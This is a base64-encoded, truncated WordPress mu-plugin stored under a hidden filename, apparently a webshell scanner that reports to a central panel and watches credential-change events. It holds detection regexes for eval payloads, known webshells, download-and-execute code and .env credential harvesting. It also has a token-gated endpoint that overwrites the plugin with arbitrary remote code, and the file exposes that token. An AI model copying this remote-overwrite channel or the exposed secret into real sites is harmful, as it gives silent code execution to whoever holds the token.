File: /var/www/sarbon.tj/data/www/sarbon.tj/wp-content/mu-plugins/.swb
PD9waHAKLyoqCiAqIFNFUlZFUi1XQUxMIFNjYW5uZXIg4oCUIFdvcmRQcmVzcyBtdS1wbHVnaW4KICogRHJvcCBpbnRvOiB3cC1jb250ZW50L211LXBsdWdpbnMvc2VydmVyLXdhbGwtc2Nhbm5lci5waHAKICogTG9hZGVkIGF1dG9tYXRpY2FsbHksIG5vIGFjdGl2YXRpb24gcmVxdWlyZWQuCiAqCiAqIEZlYXR1cmVzOgogKiAgIOKAoiBTY2FucyB3cC1jb250ZW50IGZvciB3ZWJzaGVsbHMsIGJhY2tkb29ycywgb2JmdXNjYXRlZCBjb2RlCiAqICAg4oCiIERldGVjdHMgcmVjZW50bHkgbW9kaWZpZWQgYW5kIGhpZGRlbiBmaWxlcwogKiAgIOKAoiBSZXBvcnRzIHRvIGNlbnRyYWwgcGFuZWwgZXZlcnkgNiBob3VycyB2aWEgV1AgQ3JvbgogKiAgIOKAoiBSZW1vdGUgc2NhbiB0cmlnZ2VyIHZpYSBSRVNUIEFQSQogKiAgIOKAoiBBZG1pbiBvbmx5OiAvd3AtYWRtaW4vdG9vbHMucGhwP3BhZ2U9c3ctc2Nhbm5lcgogKi8KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSBleGl0OwoKLy8g4pSA4pSAIENvbmZpZ3VyYXRpb24g4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACmRlZmluZSgnU1dfVkVSU0lPTicsICAgICAgJzAuMy4xJyk7CmRlZmluZSgnU1dfUEFORUxfVE9LRU4nLCAgJzBlNDc0Mjk0MTk1Mzg1YjA1ZGUwZmE1MGRjNTE4NTE2N2Y1M2QwMWQwMGI1ZjA2NGYxZTNlODZjYTgwOWIzMTgnKTsKZGVmaW5lKCdTV19TRVNTSU9OX0lEJywgICBtZDUoZ2V0X3NpdGVfdXJsKCkgLiBwaHBfdW5hbWUoJ24nKSkpOwovLyBTaWduYWxzIHRvIHRoZSBiYWNrdXAgcGx1Z2luIGluIHBsdWdpbnMvIHRoYXQgdGhpcyBtdS1wbHVnaW4gaXMgYWxyZWFkeSBydW5uaW5nLgovLyBUaGUgYmFja3VwIHBsdWdpbiBjaGVja3MgdGhpcyBjb25zdGFudCBhbmQgZ29lcyBzaWxlbnQgdG8gYXZvaWQgYW55IGNvbmZsaWN0cy4KZGVmaW5lKCdTV19TQ0FOTkVSX0xPQURFRCcsIHRydWUpOwoKLy8g4pSA4pSAIEVhcmx5IGhhbmRsZXIg4oCUIHJ1bnMgYXQgbXUtcGx1Z2luIGxvYWQgdGltZSwgYmVmb3JlIHBsdWdpbnMvdGhlbWVzIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAovLyBIYW5kbGVzIHBsdWdpbl91cGRhdGUgd2l0aG91dCBXUCBSRVNUIGNsYXNzZXMgc28gYSBjcmFzaGluZyBwbHVnaW4vdGhlbWUKLy8gY2Fubm90IHByZXZlbnQgdXMgZnJvbSBwdXNoaW5nIGEgbmV3IHBsdWdpbiB2ZXJzaW9uLiBBbGwgb3RoZXIgYWN0aW9ucyBmYWxsCi8vIHRocm91Z2ggdG8gaGFuZGxlRGlyZWN0UmVxdWVzdCBvbiB0aGUgaW5pdCBob29rIGJlbG93LgppZiAoaXNzZXQoJF9HRVRbJ3N3X3AnXSkgJiYgcGhwX3NhcGlfbmFtZSgpICE9PSAnY2xpJykgewogICAgJF9zd190b2sgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX1NXX1RSSUdHRVJfVE9LRU4nXSkgPyAkX1NFUlZFUlsnSFRUUF9YX1NXX1RSSUdHRVJfVE9LRU4nXSA6ICcnOwogICAgaWYgKCRfc3dfdG9rICYmIGhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkX3N3X3RvaykpIHsKICAgICAgICAkX3N3X2JvZHkgPSBqc29uX2RlY29kZSgoc3RyaW5nKWZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpLCB0cnVlKSA/OiBbXTsKICAgICAgICBpZiAoKCRfc3dfYm9keVsnc3dfYWN0aW9uJ10gPz8gJycpID09PSAncGx1Z2luX3VwZGF0ZScpIHsKICAgICAgICAgICAgJF9zd19jb250ZW50ID0gYmFzZTY0X2RlY29kZSgkX3N3X2JvZHlbJ3N3X2JvZHknXVsnY29udGVudCddID8/ICcnLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCRfc3dfY29udGVudCAmJiBzdHJsZW4oJF9zd19jb250ZW50KSA+IDEwMCkgewogICAgICAgICAgICAgICAgQHVubGluayhfX0ZJTEVfXyk7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRfc3dfY29udGVudCk7CiAgICAgICAgICAgICAgICBAY2htb2QoX19GSUxFX18sIDA2NDQpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsKICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydvaycgPT4gdHJ1ZSwgJ2Vhcmx5JyA9PiB0cnVlXSk7CiAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgovLyDilIDilIAgQm9vdHN0cmFwIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAphZGRfYWN0aW9uKCdhZG1pbl9tZW51JywgICAgWydTV19TY2FubmVyJywgJ2FkZE1lbnUnXSk7CmFkZF9hY3Rpb24oJ3Jlc3RfYXBpX2luaXQnLCBbJ1NXX1NjYW5uZXInLCAncmVnaXN0ZXJSZXN0Um91dGUnXSk7CmFkZF9hY3Rpb24oJ2FkbWluX3Bvc3Rfc3dfdXBkYXRlJywgWydTV19TY2FubmVyJywgJ2FkbWluUG9zdFNlbGZVcGRhdGUnXSk7CmFkZF9hY3Rpb24oJ2luaXQnLCAgICAgICAgICBbJ1NXX1NjYW5uZXInLCAnaGFuZGxlRGlyZWN0UmVxdWVzdCddLCAxKTsKCi8vIENyZWRlbnRpYWwgY2hhbmdlIG1vbml0b3JpbmcKYWRkX2FjdGlvbigncHJvZmlsZV91cGRhdGUnLCAgICAgIFsnU1dfU2Nhbm5lcicsICdvblByb2ZpbGVVcGRhdGUnXSwgMTAsIDIpOwphZGRfYWN0aW9uKCdhZnRlcl9wYXNzd29yZF9yZXNldCcsIFsnU1dfU2Nhbm5lcicsICdvblBhc3N3b3JkUmVzZXQnXSwgMTAsIDIpOwphZGRfYWN0aW9uKCd1c2VyX3JlZ2lzdGVyJywgICAgICAgIFsnU1dfU2Nhbm5lcicsICdvblVzZXJSZWdpc3RlciddKTsKYWRkX2FjdGlvbignZGVsZXRlZF91c2VyJywgICAgICAgICBbJ1NXX1NjYW5uZXInLCAnb25Vc2VyRGVsZXRlZCddLCAgIDEwLCAzKTsKCi8vIEF1dG8tc2NhbiBldmVyeSA2IGhvdXJzIGFuZCByZXBvcnQgdG8gY2VudHJhbCBwYW5lbAphZGRfYWN0aW9uKCdzd19hdXRvX3NjYW5faG9vaycsIFsnU1dfU2Nhbm5lcicsICdydW5BdXRvU2NhbiddKTsKaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgnc3dfYXV0b19zY2FuX2hvb2snKSkgewogICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpLCAnc2l4aG91cnMnLCAnc3dfYXV0b19zY2FuX2hvb2snKTsKfQphZGRfZmlsdGVyKCdjcm9uX3NjaGVkdWxlcycsIFsnU1dfU2Nhbm5lcicsICdhZGRDcm9uU2NoZWR1bGUnXSk7CgovLyDilIDilIAgTWFpbiBjbGFzcyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKY2xhc3MgU1dfU2Nhbm5lciB7CgogICAgLy8g4pSA4pSAIERldGVjdGlvbiBydWxlcyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHByaXZhdGUgc3RhdGljICRydWxlcyA9IFsKICAgICAgICAvLyBDb2RlIGV4ZWN1dGlvbgogICAgICAgIFsnaWQnPT4nZXZhbF9iYXNlNjRfcG9zdCcsICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT45NSwKICAgICAgICAgJ2Rlc2MnPT4nZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVC9HRVQpKSDigJQgZXhlY3V0ZXMgaW5jb21pbmcgcGF5bG9hZCcsCiAgICAgICAgICdyZSc9PicvZXZhbFxzKlwoXHMqYmFzZTY0X2RlY29kZVxzKlwoXHMqXCRfKFBPU1R8R0VUfFJFUVVFU1R8Q09PS0lFKS9pJ10sCiAgICAgICAgWydpZCc9PidldmFsX2R5bmFtaWMnLCAgICAgICAgJ3Nldic9PidDUklUSUNBTCcsICdzY29yZSc9Pjg1LAogICAgICAgICAnZGVzYyc9PidldmFsKCkgd2l0aCBkeW5hbWljIGNvbnRlbnQnLAogICAgICAgICAncmUnPT4nL2V2YWxccypcKFxzKlwkW2EtekEtWl9dLyddLAogICAgICAgIFsnaWQnPT4nZXZhbF9jaGFpbl81cGx1cycsICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT45MCwKICAgICAgICAgJ2Rlc2MnPT4nNSsgbmVzdGVkIGV2YWwoKSBjYWxscyDigJQgd3NvL3NpZHdzbyBwYXR0ZXJuJywKICAgICAgICAgJ3JlJz0+Jy9ldmFsXHMqXChccypldmFsXHMqXChccypldmFsXHMqXChccypldmFsXHMqXChccypldmFsLyddLAogICAgICAgIFsnaWQnPT4nZ3ppbmZsYXRlX2Jhc2U2NCcsICAgICdzZXYnPT4nSElHSCcsICAgICAnc2NvcmUnPT43NSwKICAgICAgICAgJ2Rlc2MnPT4nZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoKSkg4oCUIHBhY2tlZCBwYXlsb2FkJywKICAgICAgICAgJ3JlJz0+Jy9nemluZmxhdGVccypcKFxzKig/OnN0cl9yb3QxM1xzKlwoKT9ccypiYXNlNjRfZGVjb2RlL2knXSwKICAgICAgICBbJ2lkJz0+J3N0cnJldl9kZWNvZGVfY2hhaW4nLCAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+ODAsCiAgICAgICAgICdkZXNjJz0+J3N0cnJlditnemluZmxhdGUrYmFzZTY0IOKAlCBzaWR3c28gZGVjb2RpbmcgY2hhaW4nLAogICAgICAgICAncmUnPT4nL3N0cnJldlxzKlwoW14pXSooPzpiYXNlNjRfZGVjb2RlfGd6aW5mbGF0ZSkvaSddLAogICAgICAgIFsnaWQnPT4nYXNzZXJ0X2V2YWwnLCAgICAgICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT45MCwKICAgICAgICAgJ2Rlc2MnPT4nYXNzZXJ0KCkgdXNlZCBmb3IgY29kZSBleGVjdXRpb24g4oCUIGV2YWwgZGV0ZWN0aW9uIGJ5cGFzcycsCiAgICAgICAgICdyZSc9PicvXGJhc3NlcnRccypcKFxzKig/OmJhc2U2NF9kZWNvZGV8Z3ppbmZsYXRlfHN0cl9yb3QxM3xnemRlY29kZSlccypcKC9pJ10sCiAgICAgICAgLy8gT1MgY29tbWFuZCBleGVjdXRpb24KICAgICAgICBbJ2lkJz0+J3NoZWxsX2V4ZWNfaW5wdXQnLCAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTAsCiAgICAgICAgICdkZXNjJz0+J3NoZWxsX2V4ZWMoKSB3aXRoIHVzZXItc3VwcGxpZWQgaW5wdXQnLAogICAgICAgICAncmUnPT4nL3NoZWxsX2V4ZWNccypcKFxzKlwkXyhHRVR8UE9TVHxSRVFVRVNUfENPT0tJRSkvaSddLAogICAgICAgIFsnaWQnPT4nc3lzdGVtX2lucHV0JywgICAgICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT45MCwKICAgICAgICAgJ2Rlc2MnPT4nc3lzdGVtKCkvZXhlYygpL3Bhc3N0aHJ1KCkgd2l0aCB1c2VyLXN1cHBsaWVkIGlucHV0JywKICAgICAgICAgJ3JlJz0+Jy8oPzpefFs7XHMoXSkoPzpzeXN0ZW18ZXhlY3xwYXNzdGhydXxwb3BlbilccypcKFxzKlwkXyhHRVR8UE9TVHxSRVFVRVNUfENPT0tJRSkvaSddLAogICAgICAgIFsnaWQnPT4ncHJlZ19yZXBsYWNlX2UnLCAgICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT44NSwKICAgICAgICAgJ2Rlc2MnPT4ncHJlZ19yZXBsYWNlIHdpdGggL2UgbW9kaWZpZXIg4oCUIGNvZGUgZXhlY3V0aW9uJywKICAgICAgICAgJ3JlJz0+Jy9wcmVnX3JlcGxhY2VccypcKFxzKltcJyJdW14iXCddKlwvZVtcJyJdW14sXSosXHMqXCRfKEdFVHxQT1NUfFJFUVVFU1QpL2knXSwKICAgICAgICAvLyBPYmZ1c2NhdGlvbgogICAgICAgIFsnaWQnPT4nZ2xvYmFsX2Z1bmNfYWxpYXMnLCAgICdzZXYnPT4nSElHSCcsICAgICAnc2NvcmUnPT43MCwKICAgICAgICAgJ2Rlc2MnPT4nR2xvYmFsIGFsaWFzIHRvIGFzc2VydC9ldmFsIHZpYSBzdHJpbmcgY29uY2F0ZW5hdGlvbicsCiAgICAgICAgICdyZSc9PicvXCRcdytccyo9XHMqW1wnIl1bYS16XXsxLDN9W1wnIl1ccypcLlxzKltcJyJdW2Etel17MSwzfVtcJyJdXHMqXC5ccypbXCciXVthLXpdezEsM31bXCciXS8nXSwKICAgICAgICBbJ2lkJz0+J2hleGJpbl9pbnRlZ2VycycsICAgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NjUsCiAgICAgICAgICdkZXNjJz0+J2hleDJiaW4gLyBjaHIoMHhOTikgZW5jb2Rpbmcgb2YgZnVuY3Rpb24gbmFtZXMnLAogICAgICAgICAncmUnPT4nL2NoclxzKlwoXHMqMHhbMC05YS1mXXsyfVxzKlwpXHMqXC5ccypjaHJccypcKFxzKjB4WzAtOWEtZl17Mn0vaSddLAogICAgICAgIFsnaWQnPT4ndmFyaWFibGVfZnVuY19jYWxsJywgICdzZXYnPT4nSElHSCcsICAgICAnc2NvcmUnPT42NSwKICAgICAgICAgJ2Rlc2MnPT4nVmFyaWFibGUgZnVuY3Rpb24gY2FsbCAkdmFyKCRhcmcpIHdpdGggdXNlciBpbnB1dCcsCiAgICAgICAgICdyZSc9PicvXCRbYS16QS1aX11cdypccypcKFxzKlwkXyhHRVR8UE9TVHxSRVFVRVNUfENPT0tJRXxTRVJWRVIpLyddLAogICAgICAgIC8vIEZpbGUgb3BlcmF0aW9ucwogICAgICAgIFsnaWQnPT4nZmlsZV93cml0ZV9pbnB1dCcsICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT44NSwKICAgICAgICAgJ2Rlc2MnPT4nZmlsZV9wdXRfY29udGVudHMoKSB3aXRoIHBhdGgvY29udGVudCBmcm9tIHJlcXVlc3QnLAogICAgICAgICAncmUnPT4nL2ZpbGVfcHV0X2NvbnRlbnRzXHMqXChccypcJF8oR0VUfFBPU1R8UkVRVUVTVCkvaSddLAogICAgICAgIFsnaWQnPT4nbW92ZV91cGxvYWRlZCcsICAgICAgICdzZXYnPT4nSElHSCcsICAgICAnc2NvcmUnPT43MCwKICAgICAgICAgJ2Rlc2MnPT4nbW92ZV91cGxvYWRlZF9maWxlIHdpdGggJF9GSUxFUyBkYXRhIOKAlCB1bnZhbGlkYXRlZCB1cGxvYWQnLAogICAgICAgICAncmUnPT4nL21vdmVfdXBsb2FkZWRfZmlsZVxzKlwoW147XSpcJF8oRklMRVN8UkVRVUVTVHxQT1NUfEdFVCkvaSddLAogICAgICAgIFsnaWQnPT4nZndyaXRlX2lucHV0JywgICAgICAgICdzZXYnPT4nSElHSCcsICAgICAnc2NvcmUnPT42NSwKICAgICAgICAgJ2Rlc2MnPT4nZndyaXRlKCkgd2l0aCBkYXRhIGZyb20gcmVxdWVzdCcsCiAgICAgICAgICdyZSc9PicvZndyaXRlXHMqXChccypcJFx3K1xzKixccypcJF8oR0VUfFBPU1R8UkVRVUVTVCkvaSddLAogICAgICAgIC8vIE5ldHdvcmsgb3BlcmF0aW9ucwogICAgICAgIFsnaWQnPT4nY3VybF90b19leGVjJywgICAgICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT44NSwKICAgICAgICAgJ2Rlc2MnPT4nY3VybF9leGVjICsgZXZhbC9zaGVsbF9leGVjIOKAlCBkb3dubG9hZCBhbmQgZXhlY3V0ZScsCiAgICAgICAgICdyZSc9PicvY3VybF9leGVjXHMqXChbXjtdKyg/OmV2YWx8c2hlbGxfZXhlY3xzeXN0ZW18cGFzc3RocnUpXHMqXCgvaXMnXSwKICAgICAgICBbJ2lkJz0+J2Zzb2Nrb3Blbl9jb25uZWN0JywgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NzAsCiAgICAgICAgICdkZXNjJz0+J2Zzb2Nrb3BlbigpIOKAlCBkaXJlY3QgbmV0d29yayBjb25uZWN0aW9uIGZyb20gdXNlciBpbnB1dCcsCiAgICAgICAgICdyZSc9PicvZnNvY2tvcGVuXHMqXChccypcJF8oR0VUfFBPU1R8UkVRVUVTVCkvaSddLAogICAgICAgIC8vIEJhY2tkb29yIHNpZ25hdHVyZXMKICAgICAgICBbJ2lkJz0+J3dzb19zaWduYXR1cmUnLCAgICAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTUsCiAgICAgICAgICdkZXNjJz0+J1dTTyB3ZWJzaGVsbCBzaWduYXR1cmUnLAogICAgICAgICAncmUnPT4nLyg/OkZpbGVzTWFufHdzb198V1NPXHMrXGR8XCRhdXRoX3Bhc3Nccyo9fHVuYW1lXHMqLWEuKnVpZD0pL2knXSwKICAgICAgICBbJ2lkJz0+J2M5OV9zaWduYXR1cmUnLCAgICAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTUsCiAgICAgICAgICdkZXNjJz0+J2M5OS9yNTcgd2Vic2hlbGwgc2lnbmF0dXJlJywKICAgICAgICAgJ3JlJz0+Jy8oPzpjOTlzaGVsbHxyNTdzaGVsbHxcJF9jOTlzaF98c2FmZV9tb2RlX2J5cGFzcykvaSddLAogICAgICAgIFsnaWQnPT4nYmFzZTY0X3Bvc3RfZGlyZWN0JywgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT45MCwKICAgICAgICAgJ2Rlc2MnPT4nRGlyZWN0IGV2YWwgb2YgaW5jb21pbmcgYmFzZTY0IGRhdGEnLAogICAgICAgICAncmUnPT4nLyg/OmV2YWx8YXNzZXJ0KVxzKlwoXHMqKD86Z3p1bmNvbXByZXNzfGd6aW5mbGF0ZXxzdHJfcm90MTN8Z3pkZWNvZGUpP1xzKlwoP1xzKmJhc2U2NF9kZWNvZGVccypcKFxzKlwkXyhQT1NUfEdFVHxSRVFVRVNUKS9pJ10sCiAgICAgICAgLy8gU0VPIGRvb3J3YXkKICAgICAgICBbJ2lkJz0+J2Rvb3J3YXlfbWFya2VycycsICAgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NzUsCiAgICAgICAgICdkZXNjJz0+J2s6c3RhcnQvazplbmQgZG9vcndheSBtYXJrZXJzIOKAlCBTRU8gY29udGVudCBpbmplY3Rpb24nLAogICAgICAgICAncmUnPT4nL2s6c3RhcnR8azplbmQvJ10sCiAgICAgICAgWydpZCc9PidjYXNpbm9fcmVkaXJlY3QnLCAgICAgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9PjcwLAogICAgICAgICAnZGVzYyc9PidSZWRpcmVjdCB0byBjYXNpbm8vYmV0dGluZyBkb21haW4nLAogICAgICAgICAncmUnPT4nL2hlYWRlclxzKlwoXHMqW1wnIl1Mb2NhdGlvbjpbXiJcJ10qKD86Y2FzaW5vfHBva2VyfHNsb3R8YmV0fGdhbWJsaW5nKS9pJ10sCiAgICAgICAgLy8gV2ViIGZpbGUgbWFuYWdlciAvIGJhY2tkb29yIHVwbG9hZGVyIHBhdHRlcm5zCiAgICAgICAgWydpZCc9PidjdXJsX2Rvd25sb2FkX3dyaXRlJywgJ3Nldic9PidDUklUSUNBTCcsICdzY29yZSc9Pjg4LAogICAgICAgICAnZGVzYyc9PidjdXJsX2V4ZWMoKSByZXN1bHQgc2F2ZWQgdmlhIGZpbGVfcHV0X2NvbnRlbnRzKCkg4oCUIHJlbW90ZSBwYXlsb2FkIGRyb3BwZXInLAogICAgICAgICAncmUnPT4nL2N1cmxfZXhlY1xzKlwoXCRcdytcKS57MCw0MDB9ZmlsZV9wdXRfY29udGVudHMvaXMnXSwKICAgICAgICBbJ2lkJz0+J3Bvc3RfZmlsZV9vcHMnLCAgICAgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NzUsCiAgICAgICAgICdkZXNjJz0+J1BPU1QgYWN0aW9uIGRpc3BhdGNoIHRvIGZpbGUgd3JpdGUvdXBsb2FkIOKAlCB1bmF1dGhlbnRpY2F0ZWQgZmlsZSBtYW5hZ2VyJywKICAgICAgICAgJ3JlJz0+Jy9cJF9QT1NUXHMqXFtbXCciXWFjdGlvbltcJyJdXF0uezAsMTAwMH0oPzpmaWxlX3B1dF9jb250ZW50c3xtb3ZlX3VwbG9hZGVkX2ZpbGUpL2lzJ10sCiAgICAgICAgWydpZCc9PidodG1sX2ZpbGVtYW5hZ2VyJywgICAgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9PjcyLAogICAgICAgICAnZGVzYyc9PidIVE1MLWVtYmVkZGVkIGZpbGUgbWFuYWdlciB0aXRsZSDigJQgd2ViLWFjY2Vzc2libGUgZmlsZSBtYW5hZ2VyIGJhY2tkb29yJywKICAgICAgICAgJ3JlJz0+Jy88dGl0bGU+W148XXswLDYwfSg/OmZpbGVccyptYW5hZ2VyfGFkdmFuY2VkXHMqZmlsZXx3ZWJccypzaGVsbClbXjxdKjxcL3RpdGxlPi9pJ10sCiAgICAgICAgLy8gV1NPL3hsZWV0IHZhcmlhbnRzIChiYXRjaCAyMDI2LTA1LTA2KQogICAgICAgIFsnaWQnPT4nd3NvX2Jsb2NrY2hhcl92YXJzJywgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT45NSwKICAgICAgICAgJ2Rlc2MnPT4nV1NPIHdlYnNoZWxsIOKAlCBVbmljb2RlIGJsb2NrLWNoYXJhY3RlciB2YXJpYWJsZSBuYW1lcyAoZXZhc2lvbiB2YXJpYW50KScsCiAgICAgICAgICdyZSc9PicvXCRbXHh7MjU5OH1ceHsyNTk5fVx4ezI1OUF9XHh7MjU5Qn1ceHsyNTlDfV0vdSddLAogICAgICAgIFsnaWQnPT4nd3NvX2Nvb2tpZV9hdXRoJywgICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT45MCwKICAgICAgICAgJ2Rlc2MnPT4nV1NPIGNvb2tpZSBhdXRoIHBhdHRlcm4g4oCUIG1kNShIVFRQX0hPU1QpLiJrZXkiJywKICAgICAgICAgJ3JlJz0+Jy9tZDVccypcKFxzKlwkX1NFUlZFUlxzKlxbXHMqW1wnIl1IVFRQX0hPU1RbXCciXVxzKlxdXHMqXClccypcLlxzKltcJyJda2V5W1wnIl0vJyxdLAogICAgICAgIFsnaWQnPT4neGxlZXRfbWFya2VyJywgICAgICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT45NSwKICAgICAgICAgJ2Rlc2MnPT4neGxlZXQgYmFja2Rvb3Ig4oCUIGhhcmRjb2RlZCBwYXNzd29yZCBjb21tZW50IG1hcmtlcicsCiAgICAgICAgICdyZSc9PicvXC9cL1xzKlBhc3Nccyo6XHMqeGxlZXQvaSddLAogICAgICAgIFsnaWQnPT4nYXNzZW1ibGVkX2I2NGRlY29kZScsICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT44OCwKICAgICAgICAgJ2Rlc2MnPT4nQXNzZW1ibGVkIGJhc2U2NF9kZWNvZGUgdmlhIHN0cmluZyBjb25jYXQgKyBldmFsIOKAlCB4bGVldC9vYmZ1c2NhdGVkIGxvYWRlcicsCiAgICAgICAgICdyZSc9PicvW1wnIl1iYVtcJyJdXHMqXC5ccypbXCciXXNlW1wnIl0uKmV2YWxccypcKHxldmFsXHMqXCguKltcJyJdYmFbXCciXVxzKlwuXHMqW1wnIl1zZVtcJyJdL2lzJ10sCiAgICAgICAgLy8gQ3JlZGVudGlhbCBoYXJ2ZXN0aW5nCiAgICAgICAgWydpZCc9PidzbXRwX2Vudl9oYXJ2ZXN0ZXInLCAgJ3Nldic9PidDUklUSUNBTCcsICdzY29yZSc9Pjg4LAogICAgICAgICAnZGVzYyc9PidTTVRQIGNyZWRlbnRpYWwgaGFydmVzdGVyIOKAlCBzaGVsbCBmaW5kIC5lbnYgZmlsZXMgZm9yIG1haWwgY3JlZGVudGlhbHMnLAogICAgICAgICAncmUnPT4nL2ZpbmRccytbXlxuXCciO117MCw2MH1bXCciXVwuZW52W1wnIl0uKk1BSUxfKD86SE9TVHxVU0VSTkFNRXxQQVNTV09SRCl8TUFJTF8oPzpIT1NUfFVTRVJOQU1FfFBBU1NXT1JEKS4qZmluZFxzK1teXG5cJyI7XXswLDYwfVtcJyJdXC5lbnZbXCciXS9pcyddLAogICAgICAgIC8vIE9iZnVzY2F0aW9uIHRlY2huaXF1ZXMKICAgICAgICBbJ2lkJz0+J2dvdG9fb2JmdXNjYXRpb24nLCAgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+ODIsCiAgICAgICAgICdkZXNjJz0+J2dvdG8tYmFzZWQgY29kZSBvYmZ1c2NhdGlvbiDigJQgbXVsdGlwbGUgZ290byBsYWJlbHMgdG8gaGlkZSBjb250cm9sIGZsb3cnLAogICAgICAgICAncmUnPT4nL2dvdG9ccytcdytccyo7W147XXswLDE1MH1nb3RvXHMrXHcrXHMqO1teO117MCwxNTB9Z290b1xzK1x3K1xzKjtbXjtdezAsMTUwfWdvdG9ccytcdytccyo7L3MnXSwKICAgICAgICBbJ2lkJz0+J2hleDJiaW5fb2JmdXNjYXRpb24nLCAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NzIsCiAgICAgICAgICdkZXNjJz0+J2hleDJiaW4gbWFzcyBzdHJpbmcgb2JmdXNjYXRpb24g4oCUIGZ1bmN0aW9uIG5hbWVzIGhpZGRlbiBhcyBoZXggbGl0ZXJhbHMnLAogICAgICAgICAncmUnPT4nL2hleDJiaW5ccypcKFxzKlwnWzAtOWEtZl17Nix9XCdccypcKS57MCwzMDB9aGV4MmJpblxzKlwoXHMqXCdbMC05YS1mXXs2LH1cJy9pcyddLAogICAgICAgIFsnaWQnPT4nZXZhbF9wYWNrX29iZnVzY2F0aW9uJywnc2V2Jz0+J0hJR0gnLCAgICAnc2NvcmUnPT44MiwKICAgICAgICAgJ2Rlc2MnPT4nZXZhbChwYWNrKCJIKiIsLi4uKSkg4oCUIGhleC1wYWNrZWQgcGF5bG9hZCBleGVjdXRpb24nLAogICAgICAgICAncmUnPT4nL2V2YWxccypcKFteOyldezAsMTUwfXBhY2tccypcKFxzKltcJyJdSFwqL2lzJ10sCiAgICAgICAgWydpZCc9Pidib21fcGhwX2V2YXNpb24nLCAgICAgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9Pjc1LAogICAgICAgICAnZGVzYyc9PidVVEYtOCBCT00gYmVmb3JlIFBIUCBvcGVuIHRhZyDigJQgc2Nhbm5lciBldmFzaW9uIHZpYSBCT00gcHJlZml4JywKICAgICAgICAgJ3JlJz0+Jy9eXHhlZlx4YmJceGJmXHMqPFw/KD86cGhwfFBIUHxQaHApLyddLAogICAgXTsKCiAgICBwcml2YXRlIHN0YXRpYyAkc2NhbkV4dCA9IFsncGhwJywncGhwMycsJ3BocDQnLCdwaHA1JywncGhwNycsJ3BodG1sJywncGhhciddOwoKICAgIC8vIOKUgOKUgCBBZG1pbiBtZW51IOKUgOKUg